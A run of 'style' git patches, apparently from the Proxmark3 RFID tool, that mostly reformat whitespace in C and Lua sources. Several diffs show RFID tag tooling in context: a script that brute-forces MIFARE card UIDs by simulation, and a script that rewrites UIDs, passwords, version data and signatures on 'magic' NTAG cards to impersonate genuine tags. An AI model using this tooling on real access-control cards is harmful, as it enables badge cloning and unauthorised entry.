Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, - (tag.pages[sendNum / 4][sendNum % 4] >> 24) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, - tag.pages[sendNum / 4][sendNum % 4] & 0xff); + (tag.pages[sendNum][3]) & 0xff, + (tag.pages[sendNum][2]) & 0xff, + (tag.pages[sendNum][1]) & 0xff, + tag.pages[sendNum][0] & 0xff); } sendNum++; From 944242d9290e3af2a3895ee9e0a2c1cb1f7519a8 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:32:24 +0100 Subject: [PATCH 172/418] style --- armsrc/spiffs_nucleus.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/armsrc/spiffs_nucleus.c b/armsrc/spiffs_nucleus.c index 459222d5b..74c5ade09 100644 --- a/armsrc/spiffs_nucleus.c +++ b/armsrc/spiffs_nucleus.c @@ -2244,7 +2244,7 @@ s32_t spiffs_fd_find_new(spiffs *fs, spiffs_fd **fd, const char *name) { #if SPIFFS_TEMPORAL_FD_CACHE u32_t i; u16_t min_score = 0xffff; - u32_t cand_ix = (u32_t) -1; + u32_t cand_ix = (u32_t) - 1; u32_t name_hash = name ? spiffs_hash(fs, (const u8_t *)name) : 0; spiffs_fd *fds = (spiffs_fd *)fs->fd_space; @@ -2275,7 +2275,7 @@ s32_t spiffs_fd_find_new(spiffs *fs, spiffs_fd **fd, const char *name) { } } - if (cand_ix != (u32_t) -1) { + if (cand_ix != (u32_t) - 1) { spiffs_fd *cur_fd = &fds[cand_ix]; if (name) { if (cur_fd->name_hash == name_hash && cur_fd->score > 0) { From cabbed8b911c24405c7195e7a348d54b6d5826b0 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:37:57 +0100 Subject: [PATCH 173/418] style --- client/cmdlfkeri.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/cmdlfkeri.c b/client/cmdlfkeri.c index b36be56b9..394d16330 100644 --- a/client/cmdlfkeri.c +++ b/client/cmdlfkeri.c @@ -128,8 +128,8 @@ static int CmdKeriClone(const char *Cmd) { T55x7_MODULATION_PSK1 | T55x7_PSKCF_RF_2 | 2 << T55x7_MAXBLOCK_SHIFT, - 0, - 0 + 0, + 0 }; // dynamic bitrate used From 56673c29d390192451599b11bf2e748d14da0db9 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:38:13 +0100 Subject: [PATCH 174/418] style --- client/comms.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/comms.c b/client/comms.c index d39680c6c..cbabe3354 100644 --- a/client/comms.c +++ b/client/comms.c @@ -725,7 +725,7 @@ bool WaitForResponseTimeoutW(uint32_t cmd, PacketResponseNG *response, size_t ms } uint64_t tmp_clk = __atomic_load_n(&timeout_start_time, __ATOMIC_SEQ_CST); - if ((ms_timeout != (size_t) -1) && (msclock() - tmp_clk > ms_timeout)) + if ((ms_timeout != (size_t) - 1) && (msclock() - tmp_clk > ms_timeout)) break; if (msclock() - tmp_clk > 3000 && show_warning) { @@ -807,7 +807,7 @@ static bool dl_it(uint8_t *dest, uint32_t bytes, PacketResponseNG *response, siz __atomic_store_n(&timeout_start_time, msclock(), __ATOMIC_SEQ_CST); // Add delay depending on the communication channel & speed - if (ms_timeout != (size_t) -1) + if (ms_timeout != (size_t) - 1) ms_timeout += communication_delay(); while (true) { From 48eeceae58c84bafa3e5319b11270622257c4404 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:38:45 +0100 Subject: [PATCH 175/418] style --- client/fido/cose.c | 66 +++++++++++++++++++++++----------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/client/fido/cose.c b/client/fido/cose.c index 0812288e3..9caa0f4cc 100644 --- a/client/fido/cose.c +++ b/client/fido/cose.c @@ -81,39 +81,39 @@ const char *GetCOSECurveDescription(int id) { // RFC8152 https://www.iana.org/assignments/cose/cose.xhtml#algorithms COSEValueNameDesc_t COSEAlg[] = { - {-65536, "Unassigned", "Unassigned"}, - {-65535, "RS1", "RSASSA-PKCS1-v1_5 w/ SHA-1"}, - {-259, "RS512", "RSASSA-PKCS1-v1_5 w/ SHA-512"}, - {-258, "RS384", "RSASSA-PKCS1-v1_5 w/ SHA-384"}, - {-257, "RS256", "RSASSA-PKCS1-v1_5 w/ SHA-256"}, - {-42, "RSAES-OAEP w/ SHA-512", "RSAES-OAEP w/ SHA-512"}, - {-41, "RSAES-OAEP w/ SHA-256", "RSAES-OAEP w/ SHA-256"}, - {-40, "RSAES-OAEP w/ RFC 8017 def param", "RSAES-OAEP w/ SHA-1"}, - {-39, "PS512", "RSASSA-PSS w/ SHA-512"}, - {-38, "PS384", "RSASSA-PSS w/ SHA-384"}, - {-37, "PS256", "RSASSA-PSS w/ SHA-256"}, - {-36, "ES512", "ECDSA w/ SHA-512"}, - {-35, "ES384", "ECDSA w/ SHA-384"}, - {-34, "ECDH-SS + A256KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 256-bit key"}, - {-33, "ECDH-SS + A192KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 192-bit key"}, - {-32, "ECDH-SS + A128KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 128-bit key"}, - {-31, "ECDH-ES + A256KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 256-bit key"}, - {-30, "ECDH-ES + A192KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 192-bit key"}, - {-29, "ECDH-ES + A128KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 128-bit key"}, - {-28, "ECDH-SS + HKDF-512", "ECDH SS w/ HKDF - generate key directly"}, - {-27, "ECDH-SS + HKDF-256", "ECDH SS w/ HKDF - generate key directly"}, - {-26, "ECDH-ES + HKDF-512", "ECDH ES w/ HKDF - generate key directly"}, - {-25, "ECDH-ES + HKDF-256", "ECDH ES w/ HKDF - generate key directly"}, - {-13, "direct+HKDF-AES-256", "Shared secret w/ AES-MAC 256-bit key"}, - {-12, "direct+HKDF-AES-128", "Shared secret w/ AES-MAC 128-bit key"}, - {-11, "direct+HKDF-SHA-512", "Shared secret w/ HKDF and SHA-512"}, - {-10, "direct+HKDF-SHA-256", "Shared secret w/ HKDF and SHA-256"}, - {-8, "EdDSA", "EdDSA"}, - {-7, "ES256", "ECDSA w/ SHA-256"}, - {-6, "direct", "Direct use of CEK"}, - {-5, "A256KW", "AES Key Wrap w/ 256-bit key"}, - {-4, "A192KW", "AES Key Wrap w/ 192-bit key"}, - {-3, "A128KW", "AES Key Wrap w/ 128-bit key"}, + { -65536, "Unassigned", "Unassigned"}, + { -65535, "RS1", "RSASSA-PKCS1-v1_5 w/ SHA-1"}, + { -259, "RS512", "RSASSA-PKCS1-v1_5 w/ SHA-512"}, + { -258, "RS384", "RSASSA-PKCS1-v1_5 w/ SHA-384"}, + { -257, "RS256", "RSASSA-PKCS1-v1_5 w/ SHA-256"}, + { -42, "RSAES-OAEP w/ SHA-512", "RSAES-OAEP w/ SHA-512"}, + { -41, "RSAES-OAEP w/ SHA-256", "RSAES-OAEP w/ SHA-256"}, + { -40, "RSAES-OAEP w/ RFC 8017 def param", "RSAES-OAEP w/ SHA-1"}, + { -39, "PS512", "RSASSA-PSS w/ SHA-512"}, + { -38, "PS384", "RSASSA-PSS w/ SHA-384"}, + { -37, "PS256", "RSASSA-PSS w/ SHA-256"}, + { -36, "ES512", "ECDSA w/ SHA-512"}, + { -35, "ES384", "ECDSA w/ SHA-384"}, + { -34, "ECDH-SS + A256KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 256-bit key"}, + { -33, "ECDH-SS + A192KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 192-bit key"}, + { -32, "ECDH-SS + A128KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 128-bit key"}, + { -31, "ECDH-ES + A256KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 256-bit key"}, + { -30, "ECDH-ES + A192KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 192-bit key"}, + { -29, "ECDH-ES + A128KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 128-bit key"}, + { -28, "ECDH-SS + HKDF-512", "ECDH SS w/ HKDF - generate key directly"}, + { -27, "ECDH-SS + HKDF-256", "ECDH SS w/ HKDF - generate key directly"}, + { -26, "ECDH-ES + HKDF-512", "ECDH ES w/ HKDF - generate key directly"}, + { -25, "ECDH-ES + HKDF-256", "ECDH ES w/ HKDF - generate key directly"}, + { -13, "direct+HKDF-AES-256", "Shared secret w/ AES-MAC 256-bit key"}, + { -12, "direct+HKDF-AES-128", "Shared secret w/ AES-MAC 128-bit key"}, + { -11, "direct+HKDF-SHA-512", "Shared secret w/ HKDF and SHA-512"}, + { -10, "direct+HKDF-SHA-256", "Shared secret w/ HKDF and SHA-256"}, + { -8, "EdDSA", "EdDSA"}, + { -7, "ES256", "ECDSA w/ SHA-256"}, + { -6, "direct", "Direct use of CEK"}, + { -5, "A256KW", "AES Key Wrap w/ 256-bit key"}, + { -4, "A192KW", "AES Key Wrap w/ 192-bit key"}, + { -3, "A128KW", "AES Key Wrap w/ 128-bit key"}, {0, "Reserved", "Reserved"}, {1, "A128GCM", "AES-GCM mode w/ 128-bit key, 128-bit tag"}, {2, "A192GCM", "AES-GCM mode w/ 192-bit key, 128-bit tag"}, From bd1244287f07821d95813508433a7776874cbfe5 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:39:37 +0100 Subject: [PATCH 176/418] style --- client/jansson/hashtable.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/jansson/hashtable.c b/client/jansson/hashtable.c index aee159242..071ba585f 100644 --- a/client/jansson/hashtable.c +++ b/client/jansson/hashtable.c @@ -222,7 +222,7 @@ int hashtable_set(hashtable_t *hashtable, const char *key, json_t *value) { allocated. */ size_t len = strlen(key); - if (len >= (size_t) -1 - offsetof(pair_t, key)) { + if (len >= (size_t) - 1 - offsetof(pair_t, key)) { /* Avoid an overflow if the key is very long */ return -1; } From 1ec7bd1388fc9d3f3427b4419261de41391cf5c9 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:39:55 +0100 Subject: [PATCH 177/418] style --- client/jansson/jansson.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/jansson/jansson.h b/client/jansson/jansson.h index 6f42d68c1..0f868c2f2 100644 --- a/client/jansson/jansson.h +++ b/client/jansson/jansson.h @@ -119,7 +119,7 @@ json_t *json_null(void); static JSON_INLINE json_t *json_incref(json_t *json) { - if (json && json->refcount != (size_t) -1) + if (json && json->refcount != (size_t) - 1) JSON_INTERNAL_INCREF(json); return json; } @@ -129,7 +129,7 @@ void json_delete(json_t *json); static JSON_INLINE void json_decref(json_t *json) { - if (json && json->refcount != (size_t) -1 && JSON_INTERNAL_DECREF(json) == 0) + if (json && json->refcount != (size_t) - 1 && JSON_INTERNAL_DECREF(json) == 0) json_delete(json); } From 855aee04ddf7e0898beeebbfa5fa88b68d566cb9 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:40:12 +0100 Subject: [PATCH 178/418] style --- client/jansson/load.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/jansson/load.c b/client/jansson/load.c index 4e05dc87b..7f3fa7458 100644 --- a/client/jansson/load.c +++ b/client/jansson/load.c @@ -1079,7 +1079,7 @@ static int callback_get(void *data) { if (stream->pos >= stream->len) { stream->pos = 0; stream->len = stream->callback(stream->data, MAX_BUF_LEN, stream->arg); - if (stream->len == 0 || stream->len == (size_t) -1) + if (stream->len == 0 || stream->len == (size_t) - 1) return EOF; } From bd38d68bd4fd604f972cb2b37e36703e20e8e0bb Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:40:27 +0100 Subject: [PATCH 179/418] style --- client/jansson/value.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/client/jansson/value.c b/client/jansson/value.c index fcc0caa2c..7c1bc9438 100644 --- a/client/jansson/value.c +++ b/client/jansson/value.c @@ -861,19 +861,19 @@ double json_number_value(const json_t *json) { /*** simple values ***/ json_t *json_true(void) { - static json_t the_true = {JSON_TRUE, (size_t) -1}; + static json_t the_true = {JSON_TRUE, (size_t) - 1}; return &the_true; } json_t *json_false(void) { - static json_t the_false = {JSON_FALSE, (size_t) -1}; + static json_t the_false = {JSON_FALSE, (size_t) - 1}; return &the_false; } json_t *json_null(void) { - static json_t the_null = {JSON_NULL, (size_t) -1}; + static json_t the_null = {JSON_NULL, (size_t) - 1}; return &the_null; } From 795cc1bc62abb0e4c900a58528e2f03f7f4de3a8 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:41:36 +0100 Subject: [PATCH 180/418] style --- client/luascripts/hf_bruteforce.lua | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/client/luascripts/hf_bruteforce.lua b/client/luascripts/hf_bruteforce.lua index 5ba6d9802..a3a6636b8 100644 --- a/client/luascripts/hf_bruteforce.lua +++ b/client/luascripts/hf_bruteforce.lua @@ -1,4 +1,4 @@ --- Run me like this: proxmark3 /dev/rfcomm0 -l ./hf_bruteforce.lua +-- Run me like this: proxmark3 /dev/rfcomm0 -l ./hf_bruteforce.lua local getopt = require('getopt') @@ -19,7 +19,7 @@ script run hf_bruteforce -s start_id -e end_id -t timeout -d direction Arguments: -h this help - -s 0-0xFFFFFFFF start id + -s 0-0xFFFFFFFF start id -e 0-0xFFFFFFFF end id -t 0-99999, pause timeout (ms) between cards (use the word 'pause' to wait for user input) ]] @@ -77,21 +77,21 @@ local function main(args) local timeout = 0 local start_id = 0 local end_id = 0xFFFFFFFF - - for o, a in getopt.getopt(args, 'e:s:t:h') do + + for o, a in getopt.getopt(args, 'e:s:t:h') do if o == 's' then start_id = a end if o == 'e' then end_id = a end if o == 't' then timeout = a end if o == 'h' then return print(usage) end end - + -- template local command = 'hf 14a sim t 1 u %08X' - + print(' Bruteforcing MFC card numbers from 00000000 to FFFFFFFF using delay: '..timeout) print('') print( string.rep('--',20) ) - + for n = start_id, end_id do local c = string.format( command, n ) print(' Running: "'..c..'"') From e7056a035df6921362883136160c8d4d4c02ba67 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 21:42:53 +0100 Subject: [PATCH 181/418] style --- client/luascripts/mfu_magic.lua | 280 ++++++++++++++++---------------- 1 file changed, 140 insertions(+), 140 deletions(-) diff --git a/client/luascripts/mfu_magic.lua b/client/luascripts/mfu_magic.lua index a10b5776d..d8eff1f40 100644 --- a/client/luascripts/mfu_magic.lua +++ b/client/luascripts/mfu_magic.lua @@ -17,22 +17,22 @@ example = [[ -- wipe tag script run mfu_magic -w - + -- wipe a locked down tag by giving the password script run mfu_magic -k ffffffff -w - + --read magic tag configuration - script run mfu_magic -c - + script run mfu_magic -c + -- set uid script run mfu_magic -u 04112233445566 - + -- set pwd / pack script run mfu_magic -p 11223344 -a 8080 - + -- set version to NTAG213 script run mfu_magic -v 0004040201000f03 - + -- set signature script run mfu_magic -s 1122334455667788990011223344556677889900112233445566778899001122 ]] @@ -40,7 +40,7 @@ usage = [[ Usage: script run mfu_magic -h -k -c -w -u -t -p -a -s -o -v - + Arguments: -h this help -c read magic configuration @@ -64,10 +64,10 @@ Arguments: -s signature data (64 hexsymbols), set signature data on tag. -o OTP data (8 hexsymbols), set one-time-pad data on tag. -v version data (16 hexsymbols), set version data on tag. - -w wipe tag. You can specify password if the tag has been locked down. Fills tag with zeros and put default values for NTAG213 (like -t 5) + -w wipe tag. You can specify password if the tag has been locked down. Fills tag with zeros and put default values for NTAG213 (like -t 5) -k pwd to use with the wipe option ]] ---- +--- -- A debug printout-function local function dbg(args) if not DEBUG then return end @@ -80,14 +80,14 @@ local function dbg(args) else print('###', args) end -end +end -- This is only meant to be used when errors occur local function oops(err) print("ERROR: ",err) core.clearCommandBuffer() return nil, err end ---- +--- -- Usage help local function help() print(copyright) @@ -109,7 +109,7 @@ local function set_password(pwd) end --- Picks out and displays the data read from a tag -- Specifically, takes a usb packet, converts to a Command --- (as in commands.lua), takes the data-array and +-- (as in commands.lua), takes the data-array and -- reads the number of bytes specified in arg1 (arg0 in c-struct) -- @param usbpacket the data received from the device local function getResponseData(usbpacket) @@ -122,15 +122,15 @@ end local function sendRaw(rawdata, options) local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT - + lib14a.ISO14A_COMMAND.ISO14A_RAW + + lib14a.ISO14A_COMMAND.ISO14A_RAW + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC - local c = Command:newMIX{cmd = cmds.CMD_READER_ISO_14443a, + local c = Command:newMIX{cmd = cmds.CMD_READER_ISO_14443a, arg1 = flags, -- arg2 contains the length, which is half the length of the ASCII-string rawdata - arg2 = string.len(rawdata)/2, + arg2 = string.len(rawdata)/2, data = rawdata} - + return c:sendMIX(options.ignore_response) end --- @@ -138,7 +138,7 @@ end local function send(payload) local usb, err = sendRaw(payload,{ignore_response = false}) if err then return oops(err) end - return getResponseData(usb) + return getResponseData(usb) end --- -- select tag and if password is set, authenticate @@ -152,7 +152,7 @@ local function connect() return oops(err) end core.clearCommandBuffer() - + --authenticate if needed using global variable if _password then send('1B'.._password) @@ -170,7 +170,7 @@ local function read_config() -- 04 response indicates that blocks has been locked down. if pwd == '04' then lib14a.disconnect(); return nil, "can't read configuration, "..err_lock end - + -- read PACK local pack = send("30F1"):sub(1,4) @@ -188,13 +188,13 @@ local function read_config() elseif cardtype == '01' then typestr = 'NTAG 215' elseif cardtype == '02' then typestr = 'NTAG 216' end - + print('Magic NTAG 21* Configuration') print(' - Type ', typestr, '(geniune cardtype)') print(' - Password', pwd) print(' - Pack ', pack) print(' - Version ', version) - print(' - Signature', signature1..signature2) + print(' - Signature', signature1..signature2) lib14a.disconnect() return true, 'Ok' @@ -212,13 +212,13 @@ local function write_signature(data) if not info then return false, "Can't select card" end print('Writing new signature') - + local b,c local cmd = 'A2F%d%s' local j = 2 for i = 1, #data, 8 do b = data:sub(i,i+7) - c = cmd:format(j,b) + c = cmd:format(j,b) local resp = send(c) if resp == '04' then lib14a.disconnect(); return nil, 'Failed to write signature' end j = j + 1 @@ -228,20 +228,20 @@ local function write_signature(data) end --- -- Write PWD -local function write_pwd(pwd) +local function write_pwd(pwd) -- PWD string checks if pwd == nil then return nil, 'empty PWD string' end if #pwd == 0 then return nil, 'empty PWD string' end if #pwd ~= 8 then return nil, 'PWD wrong length. Should be 4 hex bytes' end - + local info = connect() if not info then return false, "Can't select card" end - + print('Writing new PWD ', pwd) - + local resp = send('A2F0'..pwd) lib14a.disconnect() - if resp == '04' then + if resp == '04' then return nil, 'Failed to write password' else return true, 'Ok' @@ -249,7 +249,7 @@ local function write_pwd(pwd) end --- -- Write PACK -local function write_pack(pack) +local function write_pack(pack) -- PACK string checks if pack == nil then return nil, 'empty PACK string' end if #pack == 0 then return nil, 'empty PACK string' end @@ -257,16 +257,16 @@ local function write_pack(pack) local info = connect() if not info then return false, "Can't select card" end - + print('Writing new PACK', pack) - + local resp = send('A2F1'..pack..'0000') lib14a.disconnect() - if resp == '04' then + if resp == '04' then return nil, 'Failed to write pack' else return true, 'Ok' - end + end end -- -- Write OTP block @@ -279,16 +279,16 @@ local function write_otp(block3) local info = connect() if not info then return false, "Can't select card" end - + print('Writing new OTP ', block3) local resp = send('A203'..block3) lib14a.disconnect() - if resp == '04' then + if resp == '04' then return nil, 'Failed to write OTP' else return true, 'Ok' - end + end end -- -- Writes a UID with bcc1, bcc2. Needs a magic tag. @@ -300,8 +300,8 @@ local function write_uid(uid) local info = connect() if not info then return false, "Can't select card" end - - print('Writing new UID ', uid) + + print('Writing new UID ', uid) local uidbytes = utils.ConvertHexToBytes(uid) local bcc1 = bxor(bxor(bxor(uidbytes[1], uidbytes[2]), uidbytes[3]), 0x88) @@ -313,14 +313,14 @@ local function write_uid(uid) resp = send('A200'..block0) resp = send('A201'..block1) - resp = send('A202'..block2) + resp = send('A202'..block2) lib14a.disconnect() - - if resp == '04' then + + if resp == '04' then return nil, 'Failed to write new uid' else return true, 'Ok' - end + end end --- -- Write VERSION data, @@ -333,54 +333,54 @@ local function write_version(data) local info = connect() if not info then return false, "Can't select card" end - + print('Writing new version', data) - + local b1 = data:sub(1,8) local b2 = data:sub(9,16) local resp resp = send('A2FA'..b1) resp = send('A2FB'..b2) lib14a.disconnect() - if resp == '04' then + if resp == '04' then return nil, 'Failed to write version' else return true, 'Ok' - end + end end --- --- writen TYPE which card is based on. +-- writen TYPE which card is based on. -- 00 = 213, 01 = 215, 02 = 216 -local function write_type(data) +local function write_type(data) -- type string checks if data == nil then return nil, 'empty type string' end if #data == 0 then return nil, 'empty type string' end if #data ~= 2 then return nil, 'type wrong length. Should be 1 hex byte' end - + local info = connect() if not info then return false, "Can't select card" end print('Writing new type', data) local resp = send('A2FC'..data..'000000') lib14a.disconnect() - if resp == '04' then + if resp == '04' then return nil, 'Failed to write type' else return true, 'Ok' - end + end end --- -- Set tag type. Predefinde version data together with magic type set. -- Since cmd always gives 10 bytes len (data+crc) we can impersonate the following types --- we only truely be three types NTAG 213,215 and 216 +-- we only truely be three types NTAG 213,215 and 216 local function set_type(tagtype) -- tagtype checks - if type(tagtype) == 'string' then tagtype = tonumber(tagtype, 10) end - if tagtype == nil then return nil, 'empty tagtype' end - - if tagtype == 1 then - print('Setting: UL-EV1 48') + if type(tagtype) == 'string' then tagtype = tonumber(tagtype, 10) end + if tagtype == nil then return nil, 'empty tagtype' end + + if tagtype == 1 then + print('Setting: UL-EV1 48') write_otp('00000000') -- Setting OTP to default 00 00 00 00 write_version('0004030101000b03') -- UL-EV1 (48) 00 04 03 01 01 00 0b 03 write_type('00') -- based on NTAG213.. @@ -389,9 +389,9 @@ local function set_type(tagtype) connect() send('a210000000FF') send('a21100050000') - - elseif tagtype == 2 then - print('Setting: UL-EV1 128') + + elseif tagtype == 2 then + print('Setting: UL-EV1 128') write_otp('00000000') -- Setting OTP to default 00 00 00 00 write_version('0004030101000e03') -- UL-EV1 (128) 00 04 03 01 01 00 0e 03 write_type('01') @@ -399,146 +399,146 @@ local function set_type(tagtype) -- Setting UL-Ev1 default config bl 37,38 connect() send('a225000000FF') - send('a22600050000') - elseif tagtype == 3 then + send('a22600050000') + elseif tagtype == 3 then print('Setting: NTAG 210') - write_version('0004040101000b03') -- NTAG210 00 04 04 01 01 00 0b 03 + write_version('0004040101000b03') -- NTAG210 00 04 04 01 01 00 0b 03 write_type('00') - + -- Setting NTAG210 default CC block456 - connect() + connect() send('a203e1100600') send('a2040300fe00') send('a20500000000') -- Setting cfg1/cfg2 send('a210000000FF') - send('a21100050000') - elseif tagtype == 4 then + send('a21100050000') + elseif tagtype == 4 then print('Setting: NTAG 212') - write_version('0004040101000E03') -- NTAG212 00 04 04 01 01 00 0E 03 + write_version('0004040101000E03') -- NTAG212 00 04 04 01 01 00 0E 03 write_type('00') -- Setting NTAG212 default CC block456 - connect() + connect() send('a203e1101000') send('a2040103900a') send('a205340300fe') -- Setting cfg1/cfg2 send('a225000000FF') - send('a22600050000') - elseif tagtype == 5 then + send('a22600050000') + elseif tagtype == 5 then print('Setting: NTAG 213') - write_version('0004040201000F03') -- NTAG213 00 04 04 02 01 00 0f 03 + write_version('0004040201000F03') -- NTAG213 00 04 04 02 01 00 0f 03 write_type('00') - + -- Setting NTAG213 default CC block456 connect() send('a203e1101200') send('a2040103a00c') send('a205340300fe') - -- setting cfg1/cfg2 + -- setting cfg1/cfg2 send('a229000000ff') - send('a22a00050000') + send('a22a00050000') elseif tagtype == 6 then - print('Setting: NTAG 215') + print('Setting: NTAG 215') write_version('0004040201001103') -- NTAG215 00 04 04 02 01 00 11 03 write_type('01') -- Setting NTAG215 default CC block456 - connect() + connect() send('a203e1103e00') send('a2040300fe00') send('a20500000000') - -- setting cfg1/cfg2 + -- setting cfg1/cfg2 send('a283000000ff') send('a28400050000') elseif tagtype == 7 then - print('Setting: NTAG 216') + print('Setting: NTAG 216') write_version('0004040201001303') -- NTAG216 00 04 04 02 01 00 13 03 write_type('02') - + -- Setting NTAG216 default CC block456 - connect() + connect() send('a203e1106d00') send('a2040300fe00') send('a20500000000') - -- setting cfg1/cfg2 + -- setting cfg1/cfg2 send('a2e3000000ff') send('a2e400050000') elseif tagtype == 8 then - print('Setting: NTAG I2C 1K') + print('Setting: NTAG I2C 1K') write_version('0004040502011303') -- NTAG_I2C_1K 00 04 04 05 02 01 13 03 write_type('02') - + -- Setting NTAG I2C 1K default CC block456 - connect() + connect() send('a203e1106D00') send('a2040300fe00') - send('a20500000000') - elseif tagtype == 9 then - print('Setting: NTAG I2C 2K') + send('a20500000000') + elseif tagtype == 9 then + print('Setting: NTAG I2C 2K') write_version('0004040502011503') -- NTAG_I2C_2K 00 04 04 05 02 01 15 03 write_type('02') - + -- Setting NTAG I2C 2K default CC block456 - connect() + connect() send('a203e110EA00') send('a2040300fe00') send('a20500000000') elseif tagtype == 10 then - print('Setting: NTAG I2C plus 1K') + print('Setting: NTAG I2C plus 1K') write_version('0004040502021303') -- NTAG_I2C_1K 00 04 04 05 02 02 13 03 - write_type('02') + write_type('02') -- Setting NTAG I2C 1K default CC block456 - connect() + connect() send('a203e1106D00') send('a2040300fe00') - send('a20500000000') - elseif tagtype == 11 then - print('Setting: NTAG I2C plus 2K') + send('a20500000000') + elseif tagtype == 11 then + print('Setting: NTAG I2C plus 2K') write_version('0004040502021503') -- NTAG_I2C_2K 00 04 04 05 02 02 15 03 write_type('02') - + -- Setting NTAG I2C 2K default CC block456 - connect() + connect() send('a203e1106D00') send('a2040300fe00') - send('a20500000000') - elseif tagtype == 12 then + send('a20500000000') + elseif tagtype == 12 then print('Setting: NTAG 213F') write_version('0004040401000F03') -- NTAG213F 00 04 04 04 01 00 0f 03 write_type('00') - + -- Setting NTAG213 default CC block456 - connect() + connect() send('a203e1101200') send('a2040103a00c') send('a205340300fe') - -- setting cfg1/cfg2 + -- setting cfg1/cfg2 send('a229000000ff') send('a22a00050000') elseif tagtype == 13 then - print('Setting: NTAG 216F') + print('Setting: NTAG 216F') write_version('0004040401001303') -- NTAG216F 00 04 04 04 01 00 13 03 - write_type('02') - + write_type('02') + -- Setting NTAG216 default CC block456 - connect() + connect() send('a203e1106d00') send('a2040300fe00') send('a20500000000') - -- setting cfg1/cfg2 + -- setting cfg1/cfg2 send('a2e3000000ff') send('a2e400050000') end lib14a.disconnect() - if resp == '04' then + if resp == '04' then return nil, 'Failed to set type' else return true, 'Ok' - end + end end --- -- wipe tag @@ -546,15 +546,15 @@ local function wipe() local info = connect() if not info then return false, "Can't select card" end - + local err, msg, resp local cmd_empty = 'A2%02X00000000' local cmd_cfg1 = 'A2%02X000000FF' local cmd_cfg2 = 'A2%02X00050000' print('Wiping tag') - - for b = 3, 0xFB do + + for b = 3, 0xFB do --configuration block 0 if b == 0x29 or b == 0x83 or b == 0xe3 then local cmd = (cmd_cfg1):format(b) @@ -563,7 +563,7 @@ local function wipe() elseif b == 0x2a or b == 0x84 or b == 0xe4 then local cmd = (cmd_cfg2):format(b) resp = send(cmd) - else + else resp = send(cmd_empty:format(b)) end if resp == '04' or #resp == 0 then @@ -575,72 +575,72 @@ local function wipe() io.flush() end io.write('\r\n') - + lib14a.disconnect() - + if err then return nil, "Tag locked down, "..err_lock end - + print('setting default values...') - + set_password(nil) - + -- set NTAG213 default values err, msg = set_type(5) if err == nil then return err, msg end - + --set UID err, msg = write_uid('04112233445566') if err == nil then return err, msg end - + --set pwd err, msg = write_pwd('FFFFFFFF') if err == nil then return err, msg end - + --set pack - err, msg = write_pack('0000') - if err == nil then return err, msg end + err, msg = write_pack('0000') + if err == nil then return err, msg end return true, 'Ok' end ---- +--- -- The main entry point function main(args) print( string.rep('--',20) ) - print( string.rep('--',20) ) + print( string.rep('--',20) ) print() local err, msg - + if #args == 0 then return help() end - + -- Read the parameters for o, a in getopt.getopt(args, 'hck:u:t:p:a:s:o:v:w') do -- help if o == "h" then return help() end - --key + --key if o == 'k' then err, msg = set_password(a) end - + -- configuration if o == "c" then err, msg = read_config() end - + --wipe tag if o == "w" then err, msg = wipe() end - + -- write uid if o == "u" then err, msg = write_uid(a) end - -- write type/version + -- write type/version if o == "t" then err, msg = set_type(a) end - + -- write pwd if o == "p" then err, msg = write_pwd(a) end - + -- write pack if o == "a" then err, msg = write_pack(a) end - + -- write signature if o == "s" then err, msg = write_signature(a) end @@ -649,10 +649,10 @@ function main(args) -- write version if o == "v" then err, msg = write_version(a) end - + if err == nil then return oops(msg) end - end - + end + end main(args) From 1aefc4e05651ddd0aca68e70c817318f7ddafa02 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:19:03 +0100 Subject: [PATCH 182/418] style --- client/scripting.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/scripting.c b/client/scripting.c index e531acd97..7ba38ee8b 100644 --- a/client/scripting.c +++ b/client/scripting.c @@ -314,7 +314,7 @@ static int l_GetFromFlashMemSpiffs(lua_State *L) { if (IfPm3Flash() == false) { return returnToLuaWithError(L, "No FLASH MEM support"); } - + uint32_t start_index = 0, len = 0x40000; //FLASH_MEM_MAX_SIZE char destfilename[32] = {0}; 